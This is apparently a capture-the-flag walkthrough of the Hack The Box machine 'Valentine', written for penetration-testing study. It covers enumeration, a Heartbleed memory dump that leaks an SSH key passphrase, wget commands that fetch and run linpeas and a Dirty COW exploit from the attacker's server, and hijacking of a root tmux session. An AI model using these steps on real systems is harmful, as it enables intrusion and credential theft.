Valentine

Reconnaissance:

NMAP:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.79

22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)

80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)

443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2024-01-03T06:05:58+00:00; -3s from scanner time.
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/3%OT=22%CT=1%CU=35325%PV=Y%DS=2%DC=I%G=Y%TM=6594F
OS:94C%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=8)S
OS:EQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%TS=8)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=
OS:Z%II=I%TS=8)OPS(O1=M53AST11NW4%O2=M53AST11NW4%O3=M53ANNT11NW4%O4=M53AST1
OS:1NW4%O5=M53AST11NW4%O6=M53AST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3
OS:890%W6=3890)ECN(R=Y%DF=Y%T=40%W=3908%O=M53ANNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=
OS:M53AST11NW4%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O
OS:=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.79  

5353/udp open  zeroconf

Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.79

Enumeration: HTTP TCP Port 80

http://10.10.10.79/ view-source:http://10.10.10.79/

It only contains a picture (which is a big indication of the vulnerability we’ll find) and no other links. So we’ll have to run Gobuster.

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.79/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt,html,conf

/.html                (Status: 403) [Size: 284]
/index                (Status: 200) [Size: 38]
/index.php            (Status: 200) [Size: 38]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.79/dev/]
/encode               (Status: 200) [Size: 554]
/encode.php           (Status: 200) [Size: 554]
/decode               (Status: 200) [Size: 552]
/decode.php           (Status: 200) [Size: 552]
/omg                  (Status: 200) [Size: 153356]

/index, /omg and /server-status lead nowhere. /encode and /decode seem to be scripts that encode and decode strings. /dev on the other hand proves to be interesting.

http://10.10.10.79/dev/

http://10.10.10.79/dev/notes.txt To do:

Coffee.
Research.
Fix decoder/encoder before going live.
Make sure encoding/decoding is only done client-side.
Don't use the decoder/encoder until any of this is done.
Find a better way to take notes.

http://10.10.10.79/dev/hype_key

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Enumeration: SSH TCP Port 22

It contains a string that is hex encoded. Let’s use an online tool to convert it to text. We find out that it is an RSA private key!

Binary-Hexadecimal-Decimal-Base64 Converter

Take the converted text format and save it into a hype_key file. Disclaimer: You should NEVER enter your or anyone else’s credentials in online tools just in case it gets logged at the backend! In this case, it doesn’t matter since this is a fake security assessment.

We’ll try and ssh using our newly found private key. Based on the naming convention of pub/priv keys, “hype” is likely the username.

┌──(kali💀kali)-[~/Desktop]
└─$ ssh -i hype_key hype@10.10.10.79

-i: Selects a file from which the identity (private key) for RSA authentication is read.

I get back the following error.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'hype_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "hype_key": bad permissions
hype@10.10.10.79's password:

Since a private key is equivalent to a password, it should only be readable by you. We resolve the error using the following command.

┌──(kali💀kali)-[~/Desktop]
└─$ chmod 400 hype_key

However, we are prompted for a password that we still don’t have and so we need to do more enumeration.

┌──(kali💀kali)-[~/Desktop]
└─$ ssh -i hype_key hype@10.10.10.79
Enter passphrase for key 'hype_key':

Enumeration: HTTPS TCP Port 443

https://10.10.10.79/

Run nmap’s vulnerability scan script to determine if any of the services are vulnerable.

┌──(kali💀kali)-[~/Desktop]
└─$ nmap --script vuln 10.10.10.79

22/tcp  open  ssh
80/tcp  open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
443/tcp open  https
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| ssl-poodle: 

|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|       https://www.securityfocus.com/bid/70574
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| ssl-heartbleed: 

|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt 
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
| ssl-ccs-injection: 

|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       http://www.cvedetails.com/cve/2014-0224
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_      http://www.openssl.org/news/secadv_20140605.txt
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Port 443 is running a version of OpenSSL that is vulnerable to Heartbleed!

If you don’t know what that is, here’s a great comic explaining it. It is essentially a vulnerability in the popular OpenSSL cryptographic software library. This vulnerability allows anyone on the Internet to read the memory of the systems protected by this vulnerable version of OpenSSL. This can lead to the compromise of secret keys, passwords, information, etc. It also allows attackers to eavesdrop on communications. There’s a whole site dedicated to the heardleed bug.

Heartbleed Bug

Heartbleed exploit

Now that we know for sure that port 443 is running a vulnerable version of OpenSSL, let’s try and exploit it to gain an initial foothold on the target machine.

First, get the exploit

Run the script to view the help instructions.

┌──(kali💀kali)-[~/Desktop/10174134]
└─$ python heartbleed.py  

defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
Usage: heartbleed.py server [options]
Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

Options:
  -h, --help            show this help message and exit
  -p PORT, --port=PORT  TCP port to test (default: 443)
  -n NUM, --num=NUM     Number of times to connect/loop (default: 1)
  -s, --starttls        Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...
  -f FILEIN, --filein=FILEIN
                        Specify input file, line delimited, IPs or hostnames
                        or IP:port or hostname:port
  -v, --verbose         Enable verbose output
  -x, --hexdump         Enable hex output
  -r RAWOUTFILE, --rawoutfile=RAWOUTFILE
                        Dump the raw memory contents to a file
  -a ASCIIOUTFILE, --asciioutfile=ASCIIOUTFILE
                        Dump the ascii contents to a file
  -d, --donotdisplay    Do not display returned data on screen
  -e, --extractkey      Attempt to extract RSA Private Key, will exit when
                        found. Choosing this enables -d, do not display
                        returned data on screen.

Let’s run the exploit with a loop number of 10. We might have to run the script multiple times or increase the loop size depending on how useful the content of the memory dump is.

┌──(kali💀kali)-[~/Desktop/10174134]
└─$ python heartbleed.py -p 443 -n 10 10.10.10.79

We’re looking for hype’s passphrase so that we could SSH into his account. After rummaging through the memory dump, we find the following strings.

GET /wsdocs/ HTTP/1.1
Host: 10.10.10.79
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

j0.04..X..3.>zT...S......<............K..#...3..CC........"b..-1G.....l3q.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==..^.)8K....!(6...ZP..............Connection: keep-alive
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

Someone used the decode.php script on the website to decode a string of characters. Copy the string and use the site to decode it.

https://10.10.10.79/decode
Your input:
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Your encoded input:
heartbleedbelievethehype

This looks like a password! Let’s use it to ssh into hype’s account.

┌──(kali💀kali)-[~/Desktop]
└─$ ssh -i hype_key hype@10.10.10.79
Enter passphrase for key 'hype_key': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

hype@Valentine:~$ cat user.txt
5f275----------------------------

Privilege Escalation

In the attack machine, start up a server in the directory that the script resides in.

┌──(kali💀kali)-[~/Desktop/7. Priv Esc]
└─$ python -m SimpleHTTPServer 5555

In the target machine download the script.

hype@Valentine:~$ wget http://10.10.16.4:5555/linpeas.sh
hype@Valentine:~$ chmod +x linpeas.sh
hype@Valentine:~$ ./linpeas.sh

We get back many results of which two are interesting.

First, it’s running an old version of Ubuntu that is probably vulnerable to DirtyCow. Dirty COW is a privilege escalation vulnerability which exploits a race condition in the way the Linux kernel’s memory subsystem handles the copy-on-write (COW) breakage of private read-only memory mappings.

Linux version 3.2.0-23-generic (buildd@crested) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu4) ) #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012

Second, there’s an active tmux session that is owned by root.

╔══════════╣ Searching root files in home dirs (limit 30)
/home/                                                                                           
/home/hype/.tmux.conf

tmux is a terminal multiplexer: it enables a number of terminals to be
created, accessed, and controlled from a single screen.
http://man7.org/linux/man-pages/man1/tmux.1.html

╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2                                          
  [1] dirty_cow                                                                                  
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [4] perf_swevent
      CVE-2013-2094
      Source: http://www.exploit-db.com/exploits/26131

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -   

╔══════════╣ Users with console
backup:x:34:34:backup:/var/backups:/bin/sh                                                       
bin:x:2:2:bin:/bin:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
hype:x:1000:1000:Hemorrhage,,,:/home/hype:/bin/bash
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh

It’s essentially a shell that is owned by root! So if we can enter this active tmux session, any command we run there is executed with root privileges. This one I didn’t figure out on my own, I had to use

Alright, so we have two ways of escalating privileges.

Privilege Escalation #1: Dirty COW Vulnerability

To confirm that the target machine is vulnerable to Dirty COW, download the Linux Exploit Suggester script. In the attack machine, start up a server in the directory where the script resides.

┌──(kali💀kali)-[~/Desktop/7. Priv Esc]
└─$ python -m SimpleHTTPServer 5555

Download the exploit on your target machine.

hype@Valentine:~$ wget http://10.10.16.4:5555/linux-exploit-suggester-2.pl
hype@Valentine:~$ chmod +x linux-exploit-suggester-2.pl
hype@Valentine:~$ ./linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 3.2.0
  Searching 72 exploits...

  Possible Exploits
  [1] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [4] perf_swevent
      CVE-2013-2094
      Source: http://www.exploit-db.com/exploits/26131

Clone the exploit on the attack machine.

Start up a server in the directory where the exploit resides.

┌──(kali💀kali)-[~/Desktop/7. Priv Esc]
└─$ python -m SimpleHTTPServer 5555

hype@Valentine:~$ wget http://10.10.16.4:5555/cowroot.c

Compile the file as per the included compile instructions.

hype@Valentine:~$ gcc -pthread cowroot.c -o dirty -lcrypt

Run the exploit.

chmod +x dirty
./dirty

Choose the password for the newly created user.

Change to the newly created user.

su firefart

Privilege Escalation #2: Attach to Root Owned tmux Session

In the target machine, attach to the tmux shell using the following command.

hype@Valentine:~$ tmux -S /.devs/dev_sess

root@Valentine:/home/hype# whoami
root

root@Valentine:/home/hype# cat /root/root.txt
e2b74--------------------------

Since this is a session owned by root, we have root privileges!

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